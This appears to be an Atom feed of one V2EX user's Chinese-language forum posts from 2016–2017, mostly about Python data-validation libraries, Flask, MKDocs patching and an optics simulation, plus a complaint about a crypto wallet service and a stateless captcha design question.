    + [程序员] 垃圾币信 + + tag:www.v2ex.com,2017-04-10:/t/353760 + 2017-04-10T03:49:00Z + 2017-04-19T18:24:50Z + + guyskk + https://www.v2ex.com/member/guyskk + + 前几天注册了个币信账号(没错,就是酷工作里天天置顶那个),给里面充了 0.002 个币(还好没多充),我也就是试试。 +然后,我打算把币转到另一个钱包里去,结果告诉我:

    +
    您最近对账号设置进行了修改,为了您的账号安全,暂时锁定您的交易功能。锁定将在 25 小时后结束。
    +
    +

    搞什么名堂,我就联系客服,过了一天,客服回复了:

    +
    您好,您修改密码或者手机号之后为了您的账户安全都会对您的账户进行锁定。望您知悉。解锁方法-为了保证账户安全,请按以下格式 [创建工单] ,标题:申请解除账号锁定 详情: 您的登录账号,并上传您本人手持身份证照片(需为申请当日拍摄,不得与注册账户时提交照片相同),通过审核后,我们将解除您的账号锁定。
    +
    +

    要证件照,那我再等几个小时。

    +

    今早再去看,应该能提现了吧,结果还要手持证件照: +

    +

    想想还是算了,这点币就当喂*了。

    +

    再附两张图对比一下: +这是币信的 + +这是 BTCC 的 + +另外 BTCC 比特币提现不需要证件照。

    +

    我的工作不涉及比特币,发帖也不是为了给 BTCC 打广告,只是看不惯广告吹上天,服务却 Low 的一逼。 +欢迎各位 V 友推荐更好的平台。

    + + ]]>
    +
    + [Python] Python 3 的函数 Annotations 还可以这样用 + + tag:www.v2ex.com,2017-03-25:/t/350274 + 2017-03-25T11:19:31Z + 2017-03-23T23:33:50Z + + guyskk + https://www.v2ex.com/member/guyskk + + Python 3.5 开始支持 Annotations ,可以用来给函数参数加上注解,也有一个叫 mypy 的库用它来做静态类型检查。

    +

    前几天发布 Validr 0.14.0 版,在 reddit 上也有人问支不支持 mypy ,今天突发奇想写了个用来运行时检查参数和返回值。

    +

    一个简单的实现:

    +
    # python >= 3.5
    +# pip install validr
    +from validr import SchemaParser, mark_key
    +
    +
    +def validation(f):
    +    """Decorator for validate function params and return by __annotations__"""
    +    parser = SchemaParser()
    +    return_ = None
    +    params = {}
    +    for k, v in f.__annotations__.items():
    +        if k == 'return':
    +            return_ = parser.parse(v)
    +        else:
    +            params[k] = parser.parse(v)
    +
    +    def wrapper(**kwargs):
    +        for k, v in params.items():
    +            with mark_key(k):
    +                kwargs[k] = v(kwargs.get(k, None))
    +        result = f(**kwargs)
    +        if return_:
    +            with mark_key('return'):
    +                result = return_(result)
    +        return result
    +    return wrapper
    +
    +
    +@validation
    +def login(
    +    username: 'str',
    +    password: 'str&minlen=6',
    +) -> {
    +    'id?int': 'User ID',
    +}:
    +    return {'id': 1000000}
    +
    +
    +if __name__ == '__main__':
    +    print(login(username='guyskk', password='123456'))
    +    print(login(username='guyskk', password='1234'))
    +
    +

    另外这种写法也是能实现的:

    +
    @validation
    +def login(
    +    username: StringType(),
    +    password: StringType(minlen=6),
    +) -> {
    +    'id': IntType(desc='User ID'),
    +}:
    +    return {'id': 1000000}
    +
    +

    大家觉得这两个写法怎么样,有需要这样一个库的吗

    + + ]]>
    +
    + [分享创造] Validr-速度最快的数据校验库 + + tag:www.v2ex.com,2017-03-22:/t/349564 + 2017-03-22T12:47:02Z + 2017-03-20T12:44:02Z + + guyskk + https://www.v2ex.com/member/guyskk + + Validr 从 v0.14.0 开始用 Cython 实现,比纯 Python 实现快了 5 倍。

    +

    现在,它比 jsonschema 快 10 倍,比 schematics 快 40 倍。

    +

    travis-ci 上的测试结果:

    +
            json:loads-dumps              1000
    +  jsonschema:draft3                   180
    +  jsonschema:draft4                   184
    +      schema:default                  41
    +  schematics:default                  51
    +      validr:default                  2384
    +      validr:use-refer-merge          2106
    +  voluptuous:default                  100
    +
    +

    GitHub 地址: https://github.com/guyskk/validr

    + + ]]>
    +
    + [分享创造] [LightPipes]还记得杨氏双缝干涉实验吗 + + tag:www.v2ex.com,2017-03-15:/t/347760 + 2017-03-15T14:40:07Z + 2017-03-15T16:37:07Z + + guyskk + https://www.v2ex.com/member/guyskk + + 在经典力学里,双缝实验又称为“杨氏双缝实验”,或“杨氏实验”,专门演示光波的干涉行为,是因物理学者托马斯·杨而命名。

    +

    实验原理:

    +

    实验原理

    +

    现在,有一个神奇的 Python 工具包,可以仿真这个实验了!!

    +

    第 0 步,安装软件:

    +
    pip install numpy matplotlib
    +pip install LightPipes
    +
    +

    第 1 步,开始做实验:

    +
    import matplotlib.pyplot as plt
    +from LightPipes import *
    +
    +

    第 2 步,一束光(F 是一个表示光场的矩阵):

    +
    wavelength = 20*um
    +size = 30.0*mm
    +N = 500
    +F = Begin(size,wavelength,N)
    +
    +

    第 3 步,分别穿过 2 个小孔,再汇聚到一起:

    +
    F1 = CircAperture(0.15*mm, -0.6*mm,0, F)
    +F2 = CircAperture(0.15*mm, 0.6*mm,0, F)    
    +F = BeamMix(F1,F2)
    +
    +

    第 4 步,在空间中菲涅尔衍射一段距离:

    +
    F = Fresnel(10*cm,F)
    +
    +

    第 5 步,计算光强度:

    +
    I = Intensity(2,F)
    +
    +

    第 6 步,将图像显示出来:

    +
    plt.imshow(I, cmap='rainbow');
    +plt.axis('off');
    +plt.title('intensity pattern')
    +plt.show()
    +
    +

    实验结果

    +

    这个库在近距离衍射方面非常出色,作者是 Fred van Goor ,来自荷兰的已退休教授,一个慈祥的老爷爷:

    +
    +

    I am a retired assistant professor in optics and laser physics at the University of Twente, Enschede, The Netherlands ( http://lpno.tnw.utwente.nl/). I live in The Netherlands, UTC + 1. Retired since 1-1-2014. I gave the lecture "Introduction to Optics" during about 20 years, theory as well as practical. During this period I used LightPipes as a bunch of computer assignments for my students. They had to do some exercises such as Fabry Perot, two holes, Michelson interferometers and also diffraction experiments like Fraunhofer and Fresnel from a small hole. Later they had to repeat those experiments in a real lab. Besides education I also did research in laser physics, I realized a very big XeCl laser system (1kHz, 1kW at 308nm). For that laser I wanted to design an unstable resonator with a Gaussian outcoupler, to get single transverse mode operation in an (almost) fundamental Gauss mode. For that I used Gleb Vdovin's LightPipes optical toolbox for the first time in the beginning of 1990. (It is the same set of c-routines you found on his company's website okotech.com) In 1990 they were meant for ms-dos: output from one command = input for the next one, it uses the "pipe" feature of ms-dos. That's why it is called LightPipes. Later (1994) I made versions for Mathcad and Matlab and sold a number of those packages all over the world. Gleb and I shared the profits. (I believe it is more or less obsolete now, but you can still buy it from okotech, although the selling is low at this moment).

    +
    +
    +

    Now I have time to improve LightPipes using modern software like Python and Qt, especially for education in optics, although companies can use it as well I believe (for companies there is expensive software like ZEMAX available. Very good but too expensive for students and even universities). I have no commercial interests, but donations from companies could be welcome of course.

    +
    +
    +

    As Gleb Vdovin already published the source code of the library on okotech.com, it is not a problem to do that for the Python library as well.

    +
    +

    项目地址: https://github.com/opticspy/lightpipes

    +

    欢迎大家分享给身边的朋友,尤其是做物理,光学方面的研究人员。
    +我们期待更多的人一起学习、研究和完善。
    +任何问题都可以通过issues反馈给我们。
    +也欢迎加入 https://github.com/opticspy 组织,一起完善 LightPipes!

    + + ]]>
    +
    + [沙盒] 发帖~ + + tag:www.v2ex.com,2017-01-12:/t/334121 + 2017-01-12T06:41:04Z + 2017-01-10T06:38:04Z + + guyskk + https://www.v2ex.com/member/guyskk + + + + [问与答] 用 Python 批量转换 C 源码遇到问题 + + tag:www.v2ex.com,2017-01-12:/t/334110 + 2017-01-12T05:57:54Z + 2017-01-30T08:45:22Z + + guyskk + https://www.v2ex.com/member/guyskk + + 有 40 多个 C 源码文件,每一个里面都有 main 函数,都是从 stdin 或者文件读取参数,结果直接 print 到 stdout 或者 stderr 。 +我想把它全部改写成普通函数,直接传参数调用函数,然后返回状态码(编译成动态链接库然后从 Python 里面调用)。 +我尝试用正则替换实现,但是只能做到把 errorprint 函数提取出来,读取参数和输出不知道怎么处理。 +求 V 友们指点,非常感谢!

    +

    样本 1 :

    +
    #include <stdio.h>
    +#include <math.h>
    +#include <stdlib.h>
    +
    +#define Pi 3.141592654
    +
    +
    +double aa[4096];
    +void error_print();
    +
    +void main(int argc, char *argv[]){
    +    double *x, dum;
    +    int i ,  nn,  j, im, jm ;
    +    long ik;
    +    FILE *fr ;
    +
    +    if (argc< 2 || argc >2 ){
    +        error_print(argv[0]);
    +        exit(1);
    +    }
    +
    +
    +
    +    fr=fopen(argv[1],"r");
    +    x = (double *) calloc( 1, sizeof(double) );
    +
    +    ik=0;
    +    while ((fscanf(fr,"%le", &dum))!= EOF){
    +        x = (double *) realloc ( x, sizeof(double)*(ik+1));
    +
    +        if(x == NULL ){
    +            fprintf(stderr,"%s: Allocation error while reading, exiting\n", argv[0]);
    +            exit(1);
    +        }
    +        x[ik]=dum;	 
    +	/* fprintf(stderr," %e \n", x[ik]); */
    +        ik++;
    +    }
    +    nn=(int) sqrt( (double) ik);
    +   fclose(fr); 
    +
    +
    +    
    +    for(i=1; i<=nn; i++){
    +      im = nn+1-i;
    +      
    +        for (j=1; j<=nn; j++){
    +	  double fdd=0;
    +	  jm=nn+1-j;
    +	
    +	  ik=(i-1)*nn+j-1;
    +	  fdd += x[ik];
    +	  ik=(j-1)*nn+i-1;
    +	  fdd += x[ik];	  
    +	  ik=(j-1)*nn+im-1; 
    +	  fdd += x[ik];
    +	  ik=(i-1)*nn+jm-1; 
    +	  fdd += x[ik];
    +
    +/*	  ik=(j-1)*nn+i-1;
    +	  fdd += x[ik];
    +	  ik=(j-1)*nn+im-1;  
    +	  fdd += x[ik];	  */
    +	    printf("%g\n", fdd);
    +	    }
    +      printf("\n");
    +}
    +
    +
    +    free(x);
    +
    +    fclose(fr);
    +}
    +
    +void error_print(char *arr) { 
    +
    +    fprintf(stderr,"\n%s  converts the intensity file into sum of itself three times rotated 90 degrees\n", arr);
    +
    +    fprintf(stderr,"\nUSAGE: %s F > M_F  where F is the file in gnuplot format, M_F is the output file in the gnuplot format\n\n", arr);
    +
    +}
    +
    +

    样本 2

    +
     
    +#include "pipes.h"
    +#include <math.h>
    +#include <string.h>
    +
    +void main(int argc, char *argv[]){
    +    void error_print();
    +
    +    int i,j, n2;
    +    double sum, sum1r, sum1i, sum1, sum2, dx,dx2, s_p, x,y, x_c, y_c;
    +    double sum1x, sum1y;
    +    long ik1;
    +
    +
    +
    +    /* Processing the command line argument  */
    +
    +    if (argc!= 2){
    +        error_print(argv[0]);
    +        exit(1);
    +    }
    +
    +
    +    read_field();
    +
    +    dx =field.size/(field.number);
    +    dx2 = dx*dx;
    +    n2=field.number/2+1;
    +
    +
    +
    +    /* Calculating the power */
    +    sum=sum1r=sum1i=sum2=0.;
    +    ik1=0;
    +    for (i=1;i<=field.number ;i++){
    +        for (j=1;j<=field.number ;j++){
    +
    +
    +
    +            
    +	      s_p=(field.real[ik1]*field.real[ik1]+ \
    +field.imaginary[ik1]*field.imaginary[ik1]);
    +	    sum2 += s_p;
    +	    sum += sqrt(s_p);
    +            sum1r += field.real[ik1];
    +            sum1i += field.imaginary[ik1];
    +            ik1++;
    +        }
    +    }
    +    sum1=(sum1r*sum1r+sum1i*sum1i);
    +
    +
    +    if (sum == 0) {
    +
    +fprintf(stderr,"Strehl: Zero beam power, program terminated\n");
    +        exit(1);
    +			      }
    +
    +if(strstr(argv[1], "y")!= NULL)fprintf(stderr,"Strehl: ratio= %e energy= %e\n",sum1/sum/sum, sum2*dx2);
    +
    +/* Calculating the center of gravity: */
    + sum=sum1r=sum1i=sum2=0.;
    + ik1=0;
    +    for (i=1;i<=field.number ;i++){
    +      y=(i-n2)*dx;
    +        for (j=1;j<=field.number ;j++){
    +	  x=(j-n2)*dx;
    +	  sum2=(field.real[ik1]*field.real[ik1]\
    ++field.imaginary[ik1]*field.imaginary[ik1]);
    +	  sum1r += sum2*x;
    +	  sum1i += sum2*y;
    +	  sum += sum2;
    +
    +            ik1++;
    +        }
    +    }
    +
    +    x_c=sum1r/sum;
    +    y_c=sum1i/sum;
    +
    +   fprintf(stderr,"Center_of_gravity: x= %e y= %e\n", x_c, y_c);
    +  
    +
    +/* Calculating moments of the distribution */
    + sum1r=sum1x=sum1y=0.;
    + ik1=0;
    +    for (i=1;i<=field.number ;i++){
    +      double y_y_c;
    +      y=(i-n2)*dx;
    +      y_y_c=y-y_c;
    +      
    +        for (j=1;j<=field.number ;j++){
    +	  double temp_int, x_x_c;
    +	  x=(j-n2)*dx;
    +	  x_x_c=x-x_c;
    +	  temp_int = (field.real[ik1]*field.real[ik1]\
    ++field.imaginary[ik1]*field.imaginary[ik1]);
    +	  sum1r += temp_int*(x_x_c*x_x_c+y_y_c*y_y_c);
    +	  sum1x += temp_int*(x_x_c*x_x_c);
    +	  sum1y += temp_int*(y_y_c*y_y_c);
    +
    +            ik1++;
    +        }
    +    }
    +
    +
    +   fprintf(stderr,"Standard deviation:  S_r=%e S_x= %e S_y= %e\n", sqrt(sum1r/sum), sqrt(sum1x/sum), sqrt(sum1y/sum));
    + fprintf(stderr,"Grid size: %e, Grid sampling: %d\n", field.size, field.number); 
    +
    +
    +    write_field();
    +
    +
    +}
    +
    +
    +void error_print(char *arr) { 
    +
    +    fprintf(stderr,"\n%s: prints the general info to the stderr\n",arr);
    +
    +
    +    fprintf(stderr,"\n%s y, y prevents arrival of this message\n\n",arr);
    +
    +
    +
    +
    +}
    +
    + + ]]>
    +
    + [Python] Top 10 Python libraries of 2016 + + tag:www.v2ex.com,2016-12-21:/t/329134 + 2016-12-21T05:23:57Z + 2016-12-19T05:20:57Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://tryolabs.com/blog/2016/12/20/top-10-python-libraries-of-2016/ + ]]> + + [Python] Python 循环导入的大坑(模拟 Flask 典型场景) + + tag:www.v2ex.com,2016-12-03:/t/325044 + 2016-12-03T08:38:14Z + 2016-12-01T08:35:14Z + + guyskk + https://www.v2ex.com/member/guyskk + + app.py

    +
    import pdb;pdb.set_trace()
    +app = 1
    +import model
    +#from model import User #ImportError: cannot import name 'User'
    +print(app)
    +print(model)
    +#print(model.User) #AttributeError: module 'model' has no attribute 'User'
    +
    +

    model.py

    +
    import pdb;pdb.set_trace()
    +from app import app
    +User = app + 1
    +
    +

    执行顺序

    +
    $ python app.py
    +> /tmp/demo/app.py(2)<module>()
    +-> app = 1
    +(Pdb) n
    +> /tmp/demo/app.py(3)<module>()
    +-> import model
    +(Pdb) n
    +> /tmp/demo/model.py(2)<module>()
    +-> from app import app
    +(Pdb) n
    +> /tmp/demo/app.py(2)<module>()
    +-> app = 1
    +(Pdb) n
    +> /tmp/demo/app.py(3)<module>()
    +-> import model
    +(Pdb) n
    +> /tmp/demo/app.py(4)<module>()
    +-> print(app)
    +(Pdb) n
    +1
    +> /tmp/demo/app.py(5)<module>()
    +-> print(model)
    +(Pdb) n
    +<module 'model' from '/tmp/demo/model.py'>
    +--Return--
    +> /tmp/demo/app.py(5)<module>()->None
    +-> print(model)
    +(Pdb) n
    +--Return--
    +> <frozen importlib._bootstrap>(222)_call_with_frames_removed()->None
    +(Pdb) c
    +1
    +<module 'model' from '/tmp/demo/model.py'>
    +
    +

    回想自己学 Flask 的时候,也在这里被坑的好惨(前几天不长记性又被坑了一次)。
    +这里有个很严重的问题,你需要小心翼翼地理清导入顺序,而且就算程序跑起来了, +某些模块可能执行了两次,造成意想不到的结果。
    +解决方法是采用 Flask 最佳实践 https://zhuanlan.zhihu.com/p/22774028

    +

    但是呢,这是 Python 的缺陷还是 Flask 的缺陷?
    +我认为这是 Flask 的设计缺陷,@app.route看起来简单,全局对象用着一时爽, +但是非常容易产生循环依赖,一不小心就掉坑里了。

    + + ]]>
    +
    + [反馈] IP 被封, 申请解封: 222.204.27.15 + + tag:www.v2ex.com,2016-10-26:/t/315643 + 2016-10-26T08:02:18Z + 2016-10-25T19:40:14Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://www.v2ex.com/t/137724 发了个 test[emoji],然后就被封了。。求解封 + ]]> + + [分享创造] Python 魔法: 给 MKDocs 添加 autodoc 插件,并且支持自定义主题 + + tag:www.v2ex.com,2016-10-23:/t/314898 + 2016-10-23T19:04:02Z + 2016-10-23T20:01:02Z + + guyskk + https://www.v2ex.com/member/guyskk + + 之前项目文档是用 reStructuredText 格式写的,但是这个语法比较复杂,还是更喜欢用 Markdown 写。 +这几天把文档从 Sphinx 迁移到 MKDocs ,还是托管在 ReadTheDocs 上面,遇到几个坑。

    +
      +
    1. +

      MKDocs 没有 autodoc 插件,而且还没有插件 API Issue。 +其实是有一个 autodoc 插件的,但是 MKDocs 没有插件 API ,那个插件作者只好把 MKDocs 代码给改了, +到现在已经大半年了插件 API 还没搞定。。。这样也就没法在 ReadTheDocs 上使用。

      +
    2. +
    3. +

      托管到 ReadTheDocs 上只能用 ReadTheDocs 的主题,Issue
      +At present the theme is hard-coded: https://github.com/rtfd/readthedocs.org/blob/master/readthedocs/doc_builder/backends/mkdocs.py#L147

      +
    4. +
    +

    研究了两天源码,最后用 Hack 手段搞定,核心代码:

    +
    @patch(build.build)
    +def patched_build(f, config, *args, **kwargs):
    +    print("HACK".center(60, "-"))
    +    real_config = load_config(config_file=None)
    +    for k in ["theme", "theme_dir"]:
    +        config[k] = real_config[k]
    +    return f(config, *args, **kwargs)
    +
    +

    运行时修改 build 函数

    +
    PATCHED = {}
    +
    +
    +def patch(f_be_patched):
    +    def decorater(f):
    +        key = str(uuid.uuid4())
    +        PATCHED[key] = functools.partial(f, copy_func(f_be_patched))
    +        code = """
    +def wrapper(*args, **kwargs):
    +    return __import__("magicpatch").PATCHED["{}"](*args, **kwargs)
    +        """.format(key)
    +        context = {}
    +        exec(code, context)
    +        f_be_patched.__code__ = context["wrapper"].__code__
    +        return f
    +    return decorater
    +
    +

    这句f_be_patched.__code__ = context["wrapper"].__code__比较魔性,直接修改函数定义, +但是有限制, locals,globals,closure 这些必须一致(无法修改),也就是只能使用原有的函数能用的变量。

    +

    完整代码在这: https://github.com/restaction/mkdocs-autodoc
    +Demo: http://restaction.readthedocs.io/zh_CN/latest/api/

    + + ]]>
    +
    + [Python] Flask-Restaction - 为 RESTful API 而生的 Web 框架 + + tag:www.v2ex.com,2016-10-17:/t/313280 + 2016-10-17T04:00:09Z + 2016-10-17T13:02:31Z + + guyskk + https://www.v2ex.com/member/guyskk + + Flask-Restaction 是什么?

    +
      +
    • 创建 RESTful API
    • +
    • 校验用户输入以及将输出转化成合适的响应格式
    • +
    • 身份验证和权限控制
    • +
    • 自动生成 Javascript SDK 和 API 文档
    • +
    +

    写接口的新姿势,登录接口为例:

    +
    def post_login(self, account, password):
    +    """
    +    登录
    +
    +    $input:
    +        account?str: 用户 ID 或邮箱
    +        password?str: 密码
    +    $output: @user
    +    $error:
    +        403.UserNotFound: 帐号不存在
    +        403.WrongPassword: 密码错误
    +    """
    +    user = db.run(r.table("user").get(account))
    +    if not user:
    +        user = db.first(r.table("user").get_all(account, index="email"))
    +    if not user:
    +        abort(403, "UserNotFound", "帐号不存在")
    +    # ...省略若干逻辑
    +    g.token = {"type": "login", "id": user["id"]}
    +    return user
    +
    +

    Github: https://github.com/guyskk/flask-restaction

    +
    +

    介绍完了,说一些我的碎碎念。

    +

    原本我是打算等框架再成熟一些(大概会是半年之后)再来介绍的,但因为一些原因,我决定早点分享给大家。

    +

    这个框架从第一个 Commit 到现在有一年多了,内部有两个小项目在用(一个是我自己负责的,另一个是一个学弟负责,题主目前大三)。 +还有一个是开源项目PurePage,这个项目很早就开始了, +中间换了一次数据库,最近一次重写是在一周前,我花了两天时间写 API 和接口测试,三天写前端(还没写完), +现在我又没有方向了,不清楚自己到底想把它做成什么样。 +暂时先把它当作一个 Demo ,大家可以看生成的API 文档,Chrome打开控制台就能用生成的JS,非常欢迎各位提建议!

    +

    另一个原因就是昨天看到Sanic is a Flask-like Python 3.5+ web server that's written to go fast.。 +我打算让 Flask-Restaction 适配 Sanic ,这样就能愉快的写异步 API 了。 +另外没在这里看到有 Sanic 的讨论,有兴趣的朋友出来聊聊吧。

    +

    最后一个原因是我决定这周把英文文档写出来,其实早就有这个想法,但一直畏难+懒,题主英文写作比较菜, +重度依赖词典>﹏<。

    + + ]]>
    +
    + [Python] Python 3.6 要让所有字典有序? + + tag:www.v2ex.com,2016-10-03:/t/310381 + 2016-10-03T05:35:57Z + 2016-10-03T15:33:56Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://www.reddit.com/r/Python/comments/55iqpo/guido_on_dicts_in_python_36/

    +

    https://mail.python.org/pipermail/python-dev/2016-September/146348.html

    +

    I've been asked about this. Here's my opinion on the letter of the law in 3.6:

    +
      +
    • keyword args are ordered
    • +
    • the namespace passed to a metaclass is ordered by definition order
    • +
    • ditto for the class dict
    • +
    +

    A compliant implementation may ensure the above three requirements +either by making all dicts ordered, or by providing a custom dict +subclass (e.g. OrderedDict) in those three cases.

    +

    I'd like to handwave on the ordering of all other dicts. Yes, in +CPython 3.6 and in PyPy they are all ordered, but it's an +implementation detail. I don't want to force all other +implementations to follow suit. I also don't want too many people +start depending on this, since their code will break in 3.5. (Code +that needs to depend on the ordering of keyword args or class +attributes should be relatively uncommon; but people will start to +depend on the ordering of all dicts all too easily. I want to remind +them that they are taking a risk, and their code won't be backwards +compatible.)

    +

    --Guido

    + + ]]>
    +
    + [Python] Validr: 简单,快速,可拓展的数据校验库 + + tag:www.v2ex.com,2016-10-02:/t/310291 + 2016-10-02T09:11:21Z + 2016-10-02T13:19:39Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://github.com/guyskk/validr
    +https://github.com/vinta/awesome-python/pull/736

    +

    这是今天给它取的新名字,不用再纠结名字了,好开心:D
    +觉得好用帮帮忙给个 Star 和 Upvote ,不满意请轻拍,欢迎各位提提建议:P

    + + ]]>
    +
    + [Python] 写了一个校验数据的库,现在打算换个名字: validatr validating 哪个好? + + tag:www.v2ex.com,2016-09-30:/t/309980 + 2016-09-30T05:19:41Z + 2016-09-27T07:58:27Z + + guyskk + https://www.v2ex.com/member/guyskk + + Validater A simple,fast,extensible library for validating.

    + + ]]>
    +
    + [Python] Token 过期的问题 + + tag:www.v2ex.com,2016-09-13:/t/306017 + 2016-09-13T11:35:54Z + 2016-09-14T01:52:53Z + + guyskk + https://www.v2ex.com/member/guyskk + + 目前流程是用户登录成功之后,返回一个 token 给客户端, token 过期时间为 30 分钟。请求其他 API 时客户端带上 token ,服务端依据此 token 判断是否登录。 +现在问题是 token 会过期,过一段时间就要重新登录,把过期时间设长一点只能减少过期的频率,不能根本上解决问题。 +所以有没有像 Session 那样,只要用户一直在线就不过期,超过一定时间不在线才会过期的库 /算法 /Demo ?

    +

    https://github.com/mattupstate/flask-jwt/isues/29
    +refresh token 也看了一些,感觉有点复杂

    + + ]]>
    +
    + [Coding] Coding 又挂了吗 + + tag:www.v2ex.com,2016-08-24:/t/301582 + 2016-08-24T14:40:45Z + 2016-08-24T16:02:47Z + + guyskk + https://www.v2ex.com/member/guyskk + + @CodingNET

    +
    ssh_exchange_identification: Connection closed by remote host
    +fatal: Could not read from remote repository.
    +
    +Please make sure you have the correct access rights
    +and the repository exists.
    +
    +

    问了下其他人也是这样,无语

    + + ]]>
    +
    + [互联网] 如何处理 URL 不友好的用户名? + + tag:www.v2ex.com,2016-08-19:/t/300414 + 2016-08-19T05:45:33Z + 2016-08-19T07:57:43Z + + guyskk + https://www.v2ex.com/member/guyskk + + 我想让网站的 URL 类似 Github 这样,/guyskk 是对应的用户的页面,但是 /login 是登录页面。 +然后我就去 Github 注册页面是,发现对用户名做了限制,提示 Username is a reserved word, +我又去搜有哪些是保留词,找到 https://gist.github.com/caseyohara/1453705 +和 https://github.com/theskumar/python-usernames 保留词有几百个, +而 Github 实际上没有限制那么多,比如 https://github.com/china, https://github.com/kfc 都是有效的。

    +

    ruby-china 是这么做的: https://ruby-china.org/topics/5004

    +
    +

    这种情况我早就考虑到了,当初就是这么想的, +如果有人非要用这里完全不可能是昵称的词语作为用户名的时候,那就让他的页面永远打不开吧

    +
    +

    大家觉得怎么处理比较好?

    + + ]]>
    +
    + [问与答] 数据库迁移问题 + + tag:www.v2ex.com,2016-07-26:/t/295076 + 2016-07-26T09:47:48Z + 2016-07-26T09:44:48Z + + guyskk + https://www.v2ex.com/member/guyskk + + 请问大家用 alembic 做数据库自动迁移吗?如果不用的话怎么处理修改数据库表的问题?

    +

    原来数据库用的是 sqlite ,开发的时候用了 alembic 做自动迁移,现在数据库换成 mysql ,那些迁移脚本都没法用了,数据类型很多不兼容。我现在已经手工把 sqlite 的数据 dump 出来然后导入 mysql 了,数据都还好,只是不能继续用 alembic 了。

    + + ]]>
    +
    + [Python] 一个可以校验&序列化任意类型数据的库 Validater 发布 + + tag:www.v2ex.com,2016-07-10:/t/291581 + 2016-07-10T15:11:13Z + 2016-09-15T13:24:01Z + + guyskk + https://www.v2ex.com/member/guyskk + + Validater +

    travis-ci codecov

    +

    为 RESTful API 而生的校验器:

    +
      +
    • 可以作为 API 文档, Schema 即文档
    • +
    • 可以用来校验请求参数
    • +
    • 可以用来校验输出与 API 文档是否一致
    • +
    • 可以用来序列化任意类型的对象
    • +
    +

    注意:仅支持 python 3.3+

    +

    项目主页: https://github.com/guyskk/validater

    + + ]]>
    +
    + [Python] 如何简化下面这些代码,避免 copy? + + tag:www.v2ex.com,2016-07-07:/t/291002 + 2016-07-07T14:51:46Z + 2016-07-07T17:19:52Z + + guyskk + https://www.v2ex.com/member/guyskk + + 我需要写很多的校验函数,这些校验函数都有 default=None, optional=False, desc=None这几个参数。

    +
    def int_validater(min=0, max=1024,
    +                  default=None, optional=False, desc=None):
    +    def validater(value):
    +        if value is None:
    +            if default is not None:
    +                return default
    +            elif optional:
    +                return None
    +            else:
    +                raise Invalid("required")
    +        try:
    +            v = int(value)
    +        except ValueError:
    +            raise Invalid("invalid int")
    +        if v < min:
    +            raise Invalid("value must >= %d" % min)
    +        elif v > max:
    +            raise Invalid("value must <= %d" % max)
    +        return v
    +    return validater
    +
    +
    +def bool_validater(default=None, optional=False, desc=None):
    +    def validater(value):
    +        if value is None:
    +            if default is not None:
    +                return default
    +            elif optional:
    +                return None
    +            else:
    +                raise Invalid("required")
    +        if isinstance(value, bool):
    +            return value
    +        else:
    +            raise Invalid("invalid bool")
    +    return validater
    +
    +

    这些校验函数用法类似这样:

    +
    validater = int_validater(0,10,default=5)
    +validater(-1) # raise Invalid("value must >= %d" % min)
    +validater(20) # raise Invalid("value must <= %d" % max)
    +
    +

    怎么简化代码,避免 copy? +我试了用装饰器,但是不能处理好参数顺序,装饰后的函数原型因该是下面这样:

    +
    wraped_validater(default=None, optional=False, desc=None,*args,**kwargs)
    +
    +

    如果int_validater(0,10,default=5),这样 0 和 10 对应的是 optional 和 desc ,而不是*args 。

    + + ]]>
    +
    + [编程] 如何校验 JSON 数据? + + tag:www.v2ex.com,2016-07-06:/t/290735 + 2016-07-06T14:14:54Z + 2016-07-06T20:49:23Z + + guyskk + https://www.v2ex.com/member/guyskk + + 现在的情况是前后端分离,后端只提供 API ,前端 AJAX 调用,使用 JSON 格式传送数据。 +这里涉及到 2 个问题:
    +(1)如何描述 API?如何告诉前端你的接口需要什么参数,返回什么?
    +(2)如何校验 JSON 数据?前端可能漏了参数,或是传了错误的参数。用户可能输入错误,需要有错误提示。黑客也可能构造非法的参数进行攻击。

    +

    考虑过用 JSON-Schema ,但是 JSON-Schema 太复杂了,写起来也很累,用来描述 API 并不合适,我想要一种易读易写的格式,写完可以直接拿来当文档看。

    +

    另外关于防攻击的: https://github.com/pallets/flask/issues/1421
    +如果提交大量嵌套非常深的数据,服务器资源不是很容易就会耗尽吗,例如: json.loads('[' * 800 + ']' * 800)

    +

    求前人指路,分享经验。

    + + ]]>
    +
    + [分享创造] REST-Action 风格的 Web 架构 + + tag:www.v2ex.com,2016-05-13:/t/278435 + 2016-05-13T06:21:12Z + 2016-05-13T06:18:12Z + + guyskk + https://www.v2ex.com/member/guyskk + + REST-Action 是基于 REST 的 Web 架构,目的是使 REST 架构标准化,提高易用性。

    +

    -> https://github.com/guyskk/flask-restaction/wiki

    +

    欢迎讨论:)

    + + ]]>
    +
    + [Python] 奇怪的 bug + + tag:www.v2ex.com,2016-04-15:/t/271356 + 2016-04-15T07:30:25Z + 2016-04-15T11:19:29Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://github.com/djc/couchdb-python/issues/281
    +https://github.com/kennethreitz/requests/issues/3098

    +

    唯独 "关闭" 会出 bug ,其他中文字符串不会(目前我还没发现)

    + + ]]>
    +
    + [程序员] travis-ci 不靠谱啊 + + tag:www.v2ex.com,2016-04-11:/t/270105 + 2016-04-11T03:41:14Z + 2016-04-11T14:02:20Z + + guyskk + https://www.v2ex.com/member/guyskk + + 我用 travis-ci.org 对我的项目做持续集成测试,结果有个 bug 没测出来,后来还是自己找出来的。

    +

    travis-ci 的测试 +

    +

    自己运行的测试(版本号: 5efaedf ) +

    + + ]]>
    +
    + [Python] 设计无状态验证码,大家看下是否可行,有没有什么漏洞? + + tag:www.v2ex.com,2016-03-30:/t/267305 + 2016-03-30T03:49:05Z + 2016-04-27T12:22:15Z + + guyskk + https://www.v2ex.com/member/guyskk + + 无状态验证码不需要在 SESSION 中保存数据,流程如下:

    +
      +
    1. 服务端先配置一个密钥 KEY
    2. +
    3. 客户端请求验证码 TOKEN, +服务端生成一个随机字符串 TEXT ,再生成一个 SALT ,用 KEY 和 SALT 对 TEXT 进行加密 +加密后的 TEXT 和 SALT 拼接到一起,作为 TOKEN 返回给客户端
    4. +
    5. 客户端请求验证码图片,携带验证码 TOKEN, +服务端根据 KEY 和 TOKEN 中的 SALT ,解密出 TEXT ,用这个 TEXT 生成一幅图片
    6. +
    7. 客户端发送业务请求,携带验证码 TOKEN 和用户输入的 CODE, +服务端根据 KEY 和 TOKEN 中的 SALT ,解密出 TEXT ,和 CODE 比对
    8. +
    +

